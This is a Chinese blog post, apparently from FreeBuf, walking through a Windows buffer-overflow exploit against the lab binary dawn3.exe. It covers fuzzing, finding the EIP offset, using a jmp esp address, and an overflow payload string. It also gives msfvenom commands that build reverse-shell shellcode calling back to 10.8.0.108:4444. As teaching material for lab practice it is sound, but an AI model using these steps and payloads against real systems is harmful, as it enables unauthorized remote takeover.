freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

初次学习缓冲区溢出漏洞-windows缓冲区溢出靶场(oscp)
2024-02-28 15:34:06

信息搜集
图片.png
发现一个dawn3.exe文件
拿到这种文件的时候,我们首先应该做的是
图片.png
我们可以看到有一个PE程序和三段加密程序,看不太懂加密部分,但因为是靶机,所以应该不会捆绑恶意文件
Strings查看一下软件内容
图片.png
socket链接,等待链接
我们使用虚拟机打开文件
图片.png
我们可以发现,端口开启6812(nmap扫描结果会显示一个未识别到的6812端口)
我们尝试链接
image
尝试编写脚本,进行缓冲区溢出攻击

缓冲区溢出

既然程序支持输入数据,我们可以尝试输入大量数据,观察是否会导致崩溃。如果程序崩溃了,可能存在缓冲区溢出漏洞

识别缓冲区溢出

两种方式:一种编写脚本来向目标端口发送数据;二直接使用nc命令来发送数据
如果选择使用 Python 脚本来发送数据,建议使用 Python2 进行编写。因为使用 Python3 发送的数据可能会出现编码问题,导致利用失败。(但我并不清楚其中的具体原因,希望有经验的师傅可以在评论区里解答这个问题。)
接下来,我们可以直接通过命令行来实现这个目标。从 100 开始,逐渐增加数据量,如 200、400、600...... 直到目标程序崩溃。
图片.png
发送了600个字符,导致了程序崩溃

动态分析(精确定位):
Immunity Debugger
图片.png
我们可以发现EIP的位置变成了414141
在执行后,我们可以观察到 EIP 寄存器的值变为了 "41414141",这对应于 ASCII 值为 41 的字符 "A"。
从这一步我们可以推断,我们输入的这 600 个 "A" 已经成功地溢出到了 EIP 寄存器中,导致 EIP 寄存器的值变为了 "41414141",也就是 4 个 "A",即 "AAAA"。
现在因为我们成功地修改了 EIP 的值,所以可以确认这个程序有缓冲区溢出漏洞的存在。
因此,我们的下一步目标是确定需要输入多少个 "A" 才能溢出到 EIP 寄存器,从而修改 EIP 的值,这将影响 CPU 执行的下一条指令。
进行下一步操作之前,点击叉来关闭当前应用(或者用快捷键 Alt+F2 来关闭)
这里会用到一个工具:MSF中的msf-pattern_create,可以用它来生成一段连续不重复的字符串,这个部分是为了找到EIP溢出的部位,然后计算偏移量
图片.png
将这段字符串发送到目标端口
发送过后,我们会发现,EIP部分变成了35724134
图片.png
然后我们可以使用msf另一个工具:pattern_offset来寻找偏移量
图片.png
也就是说,从第524个字符开始,会溢出到EIP寄存器中
计算这个偏移量的过程如下:
1、在X86结构中,一般采用的是小端字节序。这意味着地位字节存储在内存的地地址处,而高位字节存储在内存的高地址处。因此,"\x35\x72\x41\x34" 的存储顺序实际上应该是反过来的,它的值为:"\x34\x41\x72\x35"。
2、将这个 "\x34\x41\x72\x35" 转换为 ASCII 码,得到的是 "4Ar5"。这正好是我们使用 "msf-pattern_create -l 600" 生成的字符串的一部分。
3、接下来就是是确定 "4Ar5" 这段字符串从源字符串的第几个字符开始出现的。将这段字符放入文本编辑器中,选中 "4Ar5" 之前的字符,就可以发现在它之前的字符串的总长度是 524。
因此我们可以尝试,使用524个A+4个B+剩余的72个C
图片.png
我们可以发现,我们精准的注入到EIP4个B
因此我们成功定位到了EIP的位置,下一步是测试ESP的容量

测试ESP容量

ESP是X86架构中的寄存器,通常被用于指示栈的当前顶部
我们把shellcode存放到栈中。标准的Shellcode大小通常约为500个字节左右。因此,我们需要测试一下ESP寄存器容量,看看是否足够容纳这500个字节的shellcode。程序正常运行,则进行下一步操作
图片.png
我们可以发现,堆栈从5FFCE0开始到5FFECC结束的
计算字节量
图片.png
我们可以发现是492个字节,是足够我们存放shellcode的

查找不兼容字符(坏字符)

不同程序存在不同的不兼容字符,我们需要找出那些不能被利用的不兼容字符,并将它们筛选出来。这样可以确保生成Shellcode是不会因为这些不兼容字符的存在而导致执行异常
例如:x00,在系统底层被视为字符串的终止符或结束标志。因此,如果Shellcode中包含“X00”,就可能导致程序异常终止
我们可以使用工具来生成所有可能的字符,然后用这些字符来进行测试。以下链接提供了一个工具,可以生成不兼容字符,用于指导编码器(如 shikata-ga-nai)将这些字符转换为其他字符:
badchars:https://github.com/cytopia/badchars
图片.png
我们可以看到坏字符一个不落
图片.png
这说明目标程序没有不兼容的字符,也就是没有坏字符(“\X00”除外)
下面就可以定位ESP的位置了

定位ESP的位置

由于ESP的位置是不确定的,我们需要找到ESP的地址,将其覆盖到EIP的位置,这样,当CPU执行EIP所指向的地址时,会执行我们在ESP寄存器中存储的地址。而ESP指向的内存位置已被我们的Shellcode所覆盖,因此CPU将会执行我们的shellcode
为了找到 ESP 寄存器的地址,我们需要使用一个叫做 **msf-nasm_shell **的工具。这个工具能够将汇编语言代码转换为相应的十六进制格式,以便我们在漏洞利用中使用。

┌──(kakashi㉿kali)-[~/VulnBox/dawn3/badchars]
└─$ msf-nasm_shell

图片.png
其中的FFE4就是十六进制的jmp esp
需要注意的是,在寻找时我们不能直接使用 "jmp esp" 作为关键字,而是要使用其对应的操作码:"\xFF\xE4"。
此时,我们需要使用 Immunity Debugger 的名为 "mona" 的插件。默认情况下该插件是未安装的,需手动下载并安装。
git clone https://github.com/corelan/mona.git
图片.png
我们可以看到,有四种安全机制
1、Rebase(重定位):重定位是一种操作系统和程序加载器的特性,允许将共享的库和可执行文件加载到内存中的不同位置,以防止地址空间的冲突。重定位可以提高系统的安全性,防止一些攻击,如基于地址的攻击。
2、SafeSEH(安全异常处理链表):在 Windows 操作系统中,SafeSEH 是一种保护机制,用于检测和阻止异常处理链表被利用用于漏洞利用。它可以帮助防止 SEH(Structured Exception Handling)覆盖攻击。
3、ASLR(地址空间布局随机化):ASLR 是一种操作系统的安全特性,通过随机化加载程序和库的内存位置,来防止攻击者预测这些位置。这可以减少缓冲区溢出和代码注入等攻击的成功率。
4、NXCompat(不可执行内存保护):NXCompat 是一种硬件和操作系统级别的安全特性,阻止内存中的数据被当作代码执行。这可以防止缓冲区溢出等漏洞被利用来执行恶意代码。
但是对于这四种安全机制,dawn3.exe来讲都是false,没有启用。
图片.png
确定可以继续利用后,我们可以继续查找jmp esp所在位置
图片.png
执行命令后,我们找到了一个指针的信息,可以从中看到该指针的指向地址为:0x52501513
现在我们可以使用这个地址来覆盖EIP寄存器,从而引导CPU执行栈中的Shellcode
x86小端序列,正确序列为\x13\x15\x50\52
那么我们发送的数据为

python2 -c "'A'*524+'\x13\x15\x50\52'+"<shellcode>""

生成shellcode

使用的msfvenom生成windows的shellcode

# -b: 这个参数是设置一个需要被避免的字符集。在这里,"\x00" 表示空字节(NULL)
# -e: 这是 payload 的编码选项。"x86/shikata_ga_nai" 是 Metasploit Framework 中的一种简单编码方式,用于绕过一些基本的字符过滤和检测机制。
# -f: 这是指定生成的 payload 格式。

┌──(kakashi㉿kali)-[~/VulnBox/dawn3]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.0.108 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f c

生成shellcode
图片.png
生成大小为351字节
然而,需要注意的是,"shikata_ga_nai" 编码器会在执行代码之前生成一个用于解码的解码器,因此会占用一些字节。为了给解码器预留空间,这里使用 "\x90" 字节作为填充,确保有足够的空间供解码器使用。如果不预留空间,后续的 Shellcode 可能有部分会被覆盖,导致无法正常执行。
"\x90" 表示 NOP 指令,在汇编语言中,NOP 指令通常用作占位符或延时操作。在许多情况下 NOP 指令不会对程序的执行产生实际影响,它主要用于填充指令序列,以实现指令地址对齐或缓解特定条件。
然后就可以将生成的 Shellcode 和填充的 NOP 指令组合起来。
图片.png
图片.png
我们可以发现获取到了反弹shell

漏洞利用

我们将shellcode这部分从windows替换为linux即可成功利用缓冲区溢出从而获取靶机上的立足点~~~~

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.8.0.108 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f c

获取到root
图片.png
图片.png

# 渗透测试 # 网络安全技术 # 靶场攻关
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录